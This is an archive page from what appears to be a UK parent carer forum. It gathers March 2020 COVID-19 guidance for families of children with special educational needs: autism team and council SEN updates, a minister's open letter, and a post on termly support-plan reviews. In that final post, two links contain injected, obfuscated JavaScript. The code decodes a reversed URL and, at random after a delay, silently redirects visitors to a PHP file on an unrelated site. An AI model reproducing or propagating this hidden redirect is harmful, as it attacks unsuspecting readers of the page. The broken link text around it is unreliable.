Monthly Archives: March 2020

Support & resources for families from CEAT

An update and some resources from Janet Threader, the Family Liaison Officer for Cheshire East Autism Team 🙂

Hi all,

During these unprecedented and challenging times I just wanted to reassure you that the Cheshire East Autism Team are still here to support parents and carers. I know that many of you will have struggled with the decision of whether or not to send you child into school but can I please reassure you that there is no right or wrong answer you can only do what’s best for you and your family. Whatever you decided it can feel quite overwhelming, I have personally experienced this over the last few days but we will try and do what we can to support you now and in the coming weeks/months.

You have probably have been ‘flooded’ with resources and advice over the last few days and I don’t want to put any additional pressure on you but I felt it was important to send you some ideas and resources especially for those who are keeping their children at home. I intentionally didn’t say ‘educating’ at home as most of us are not teachers we are just doing  the best we can.

Here are some resources that you may find useful:
Tips for home

Support information for parents of children with additional needs.

“Why do I have to?” template, plus example

What is a social story?


The majority of these things relate to not only  ASC children but would be useful for any child with additional needs; in fact I feel that any child would benefit from these at the moment.

We have lots of additional resources on our website which we will be continuously adding to over the next few days and coming weeks.  Below is the website address but you can also search on line for Cheshire East Autism Team.


In addition to this the team can be contacted in the usual way by email:   or phone Tel: 01270 685960 .

If you do e mail into the team then please  be assured that your details will be passed to a relevant  member of the team and we will try our best to answer you as soon as possible. We will continue to work together and provide support for you and your families now and in the future,

On behalf of myself and my colleagues we wish you well and take care,

Kind Regards,  Janet

COVID 19 & SEND – Open Letter to children & young people & their families

Vicky Ford MP, the Parliamentary Under Secretary of Stage for Children & Families, has issued an open letter to Children & Young People with SEND and their parents, families and others who support them

Click here to view Minister Ford’s open letter to the SEND sector as a PDF

The letter reads:
24 March 2020

Dear colleagues,

This is an open letter distributed through as many of our partner organisations as possible. I would be grateful if you could circulate it as widely as possible to children and young people with Special Educational Needs and Disabilities (SEND), their parents/carers and families, and all others who support them.

This is an unprecedented, uncertain and testing time for all of us due to the coronavirus (COVID-19) pandemic. It is particularly challenging for children and young people with SEND, their families, and those who work tirelessly to support and care for them.

This is why, over the past week, we have made announcements and issued guidance about how we will meet the needs of children and young people with SEND during this challenging time. As the Minister responsible for SEND, I wanted to write to let you know that we are committed to doing everything possible to support you during this difficult time.

We are working in partnership with many organisations, including the National Network for Parent Carer Forums and the Council for Disabled Children, to make sure we are focusing our efforts in the right places. In all our decisions, the needs of SEND children and young people and their families and carers, and safeguarding these vulnerable groups, are at the forefront of our minds.

The Government published guidance about supporting vulnerable children on 22 March. It includes a number of frequently asked questions and is available at and-young-people. We have also published new guidance that provides household isolation advice for children and young people who live in residential settings, and the staff that support them.
This guidance is available at

The guidance on supporting vulnerable children states that local authorities, nurseries, schools, special schools, colleges and other training providers should undertake a risk assessment to establish the individual needs of each child or young person with an Education, Health and Care (EHC) plan. This assessment should incorporate the views of the child or young person and their parents. This will inform the decision about whether they should continue in school or college, or whether their needs can be met at home safely.

If needs are best met at schools or colleges, we will support their school or college
to meet their needs, wherever possible. For those on SEN support, schools,
colleges and local authorities have discretion to use the same risk judgement to
decide whether home or school is the safest setting for these children. It is,
however, important that as many children as possible remain at home during this
time in order to help reduce transmission rates.

On 19 March, the Government introduced new legislation into Parliament, in the
form of the Coronavirus Bill (‘the Bill’), in response to the outbreak

Our overwhelming aim for SEND, through the Bill and the proposed changes to
regulations that are to follow, is to balance the needs of this vulnerable group to
receive the support they need with managing the demands on local authorities and
health bodies to respond to this outbreak. As a result, we have included in the Bill
temporary emergency powers to enable us, where necessary, to modify the legal
requirements on local authorities in fulfilling their duties in relation to EHC plans.
In practice, this will mean that where a local authority is, because of the outbreak,
unable, for example, to put in place stated provision, they will need to use their
reasonable endeavours to do this, but won’t be penalised for failing to meet the
existing duty as set out in the Children and Families Act 2014. These emergency
powers will only be exercised for the shortest period and where necessary, and
will be regularly reviewed. We will also be seeking to amend regulations on the
timescales for EHC plan processes where this is appropriate because of COVID-
19. I want to reiterate that these decisions are not taken lightly but I believe strike
the right balance in these difficult times.

I encourage you to keep up to date by regularly checking the webpages,
and raise awareness of the DfE Coronavirus helpline we have established for local
authorities, providers and parents to get information on the latest Government
advice. The number is 0800 046 8687, and lines are open 8am-6pm (Monday –
Friday), and 10am – 4pm (Saturday and Sunday).

I realise that the impact of these extraordinary circumstances on this group of
children and young people can be particularly acute. This is why I have asked the
Council for Disabled Children, in partnership with Contact, to ensure that their
websites and forums regularly update both families and services on information,
which is available to support them. I have also asked them to collate any questions
and queries from stakeholders so that we can maintain as many routes of contact
as possible into Government to ensure our actions continue to be focused on
prioritising where help is most needed.

The challenges we are now facing serve to further highlight the importance of
ensuring the system of support for children and young people with SEND is as
effective as possible in the future. Rest assured that completing our review of the
SEND system remains a priority for me and for the Government. In light of the
current situation, we will think carefully about the right way and timescale to do
this. Right now my focus, like yours, is on managing the current situation and
keeping vulnerable children safe and supported.

I know that by working together, we can ensure that children and young people
with SEND receive the support they need during this difficult time.

Yours sincerely,

Vicky Ford MP
Parliamentary Under-Secretary of State for Children and Families


Updates from CE SEN team: school closures & SEN team operations

20/03/2020 – PM updated information from CE Council SEND team

Please click here for pdf version of updated information from Cheshire East issued this afternoon 

Dear Parents and Carers
What we know: 
Government have now published guidance for both schools and colleges on maintaining education provision and guidance for parents and carers:
1. Arrangements for next week
All schools and settings have been asked to be open for the normal school day where possible, some may not be able to open due to staffing implications which will not allow for safety and care of children. If possible, the Local Authority will look to broker additional staff to support the school to remain open or offer a place at an alternative school, where it is safe to do so, and the need of children can be met, and there is capacity to do so.
Schools are, therefore, being asked to continue to provide care for children who are supported by social care, those with safeguarding and welfare needs, including child in need plans, on child protection plans, ‘cared for children’ children, young carers, disabled children and those with education, health and care (EHC) plans.
2. Transport
We expect public and school transport to continue as normal. However, we cannot guarantee the same driver as usual as they could be isolating or unwell, but we will look at retain consistency where possible. Transport will be reviewed, and may change, once we are aware of the number of children actually attending schools.
3. Vulnerable pupils
For vulnerable children who have a social worker our assumption is that these children should be attending. If any parents or carers request to keep children at home as they believe they can keep them safe social workers will assess the best option for the child.
4. EHCP Pupils

  • Schools and colleges are advised to make case by case basis assessments of the health and safeguarding considerations of pupils and students on an education, health and care (EHC) plan. For some, they will be safer in an education provision. For others, they will be safer at home.We have requested schools undertake this assessment and provide the local authority with details of the outcome of their assessment and confirmation of whether a place is being provided for each child. It is important to note the school will not be providing a full curriculum, they will be providing care for the children and incorporating education provision and a range of activities, but this will NOT be fully in line with their EHC provision.
  • Children being supported by tutors Where children are being supported by tutors organised the Local Authority, we will provide more information about arrangements, as soon as possible. We will not continue to offer face to face tuition but will look to provide work possibly on line and where possible support by a telephone call.

5. Local Authority ongoing SEND srvice
To support us during these unprecedented times we are requesting that:

  • You do NOT submit new needs assessment requests for EHC plans until we return to business as usual at which point guidance will be issued.
  • Any SEN queries should be emailed to Please do not ring or contact individual workers and keep enquires to urgent matters. Calls will be forwarded to an appropriate member of the service for response and we will aim to respond within 3- 5 working days. Please do not send follow up emails.

In return we will

  • Continue to progress current needs assessment requests where we can obtain appropriate information to support the EHC Plan. However, these will be emailed to you using Egress for comment and return. We will not be undertaking any face to face meetings with children, school staff or parents.
  • We will continue to consult on schools places for September where these have not been agreed, but we may need to provide interim school places and consider change of school requests at a later date if we cannot get responses from schools.
  • We will be asking schools to continue to undertake annual reviews for SEN children but do these differently, especially for children not attending school during this period. Advice/guidance will be issued hopefully next week.

We hope this provides some more practical guidance to support the current arrangement about provision that will be available from Monday. If you have any queries, in the first instance, please discuss arrangements with the school.
In terms of complying with GDPR legislation any communications with parents are likely to be by email and if these are about individual children the Local Authority will send these through Egress.


20/03/2020 – am: We have had the following update from Laura Rogerson (Head of SEN Cheshire East Council) which she has asked us to share with parent / carers in Cheshire East:

We will be sending out regular updates as things progress and we gain more clarity from DfE.  We have been working closely with schools, early years and post 16 settings to support in creating a forward plan for the next few weeks. As most organisations as we have a number of staff not in work and have to prioritise to support the most vulnerable children and families within the borough.  I am sure you will understand our position and work with us over the coming week.

We have sent communication to all schools and settings to clarify children that fall under the vulnerable group (as outlined by the government) and will need to access full time provisions are:

  • Those with a social worker
  • Those who are Child in Need/Child Protection
  • Cared for Children
  • EHCP

Due to these guides we have confirmed with all schools and settings that they need to be open for normal schools hours next week and should expect all children who fall into the categories above to attend.

Due to schools staffing and capacity we explained that full curriculum offers will not be in place in schools, from next week these will be offers of provisions (content of school day will be more flexible and defined by each school but will unlikely be set timetables of core curriculum).  We are seeking further clarity on what would normally fall under legal requirements and statutory obligations with regards to children’s EHCPs.

Some schools are feeding back to us that some parents do not wish for their children to be in school, again we are seeking clarity from DfE regarding attendance requirements of children they have identified to be in school.

We do not currently have a definition of Key Worker from the DfE but we are anticipating that there will be flexibility for local areas to determine some of these roles.  You will need to be mindful organisations may be redeploying some staff to cover Key Worker roles over time, so this is by no means straight forward.

[How the SEN team will operate during this period of time]

To support us during this period of time we are requesting that:

  1. You do NOT submit new needs assessment requests for EHC plans until we return to business as usual at which point guidance will be issued.
  2. Any SEN queries should be emailed to  Please do not ring or contact individual workers and keep enquires to urgent matters.  Calls will be forwarded to an appropriate member of the service for response and we will aim to respond within 3- 5 working days.  Please do not send follow up emails.
  3. Council staff are following Public health England guides and will not be attending face to face meetings,  but can set up video/telephone conference for essential meetings therefore we are asking that all non-essential meetings at this time are postponed and rearranged.
  4. The council needs to ensure GDPR guidelines are adhered to and therefor communication via email to parents will be through egress.

In return we will

  1. Continue to progress current needs assessment requests where we can obtain appropriate information to support the EHC Plan.  However, these will be emailed to you using Egress for comment and return.  We will not be undertaking any face to face meetings with children, school staff or parents.
  2. We will continue to consult on schools places for September where these have not been agreed, but we may need to provide interim school places and consider change of school requests at a later date if we cannot get responses from schools
  3. We are looking at how we can continue to undertake annual reviews for SEN children but do these differently.  Advise/guidance will be issued.

We are aware that services may not be carried out in a code compliant nature, but we are looking to provide the best service possible.

I am sure there will be many additional queries and we will continue to issue updates through Parent Carer Forum, dependant on their ability/capacity to load details on their website, as I am sure you will appreciate, they will have increased childcare priorities.  We will also distribute messages through Cheshire East Information advice and service, again dependent on staffing.  Finally, we will post updates on Cheshire East Website, preferably through SENDING the NEWS and supply updates through schools who should be maintaining regular contact with you.

Thank you again for your understanding and support during these unprecedented  times

Regards Laura

You can also and carers, and and SEN provision

Termly reviews of SEN Support & EHC Plans – paperwork & quick quiz

When a child or young person has Special Educational Needs, their educational setting should work with the child’s parents or the young person themselves to agree the targets and support they’re working towards. These targets can be long term (for example, end of key stage or beyond) or short term (within the school term / year).

Schools and other educational setting should use the SEN Support Plan paperwork to support termly reviews of this implementation plan to ensure the support is working and to make the annual review better. 

SEN support – both long and short-term outcomes are included in the SEN Support Plan ($nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and-families/send/sen-support-plan-schools-final-v1.0.docx”>click here for school age click here for post 16 paperwork templates)

EHCP plan – long term (end of key stage & beyond) outcomes are set out in the EHC plan, while shorter term targets and supporting provision are included in an Implementation Plan – the same paperwork should be used as for SEN support ($nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and-families/send/sen-support-plan-schools-final-v1.0.docx”>click here for school age click here for post 16)

Cheshire East Parent Carer Forum has been assured that all settings should  be carrying out these reviews every term – it could be a quick meeting with the TA or class teacher after school, a coffee morning with the SENCO or something more formal as required, but we have also heard from members that these termly reviews are not happening at all for some people

We would love to know what’s going on!  Which children & young people having their support reviewed every term, who who isn’t?   Please tell us more so we can do something to make it better – you can be as specific or as anonymous as you need 🙂

With your permission, we will pass results to the Local Authority Quality Assurance Team so that we can try to work out if there is a problem and if so, where that problem lies.  You can complete this survey entirely anonymously (which is useful for giving a general picture) or more specifically – Please give us as much information as you are happy to – click here to complete the quick quiz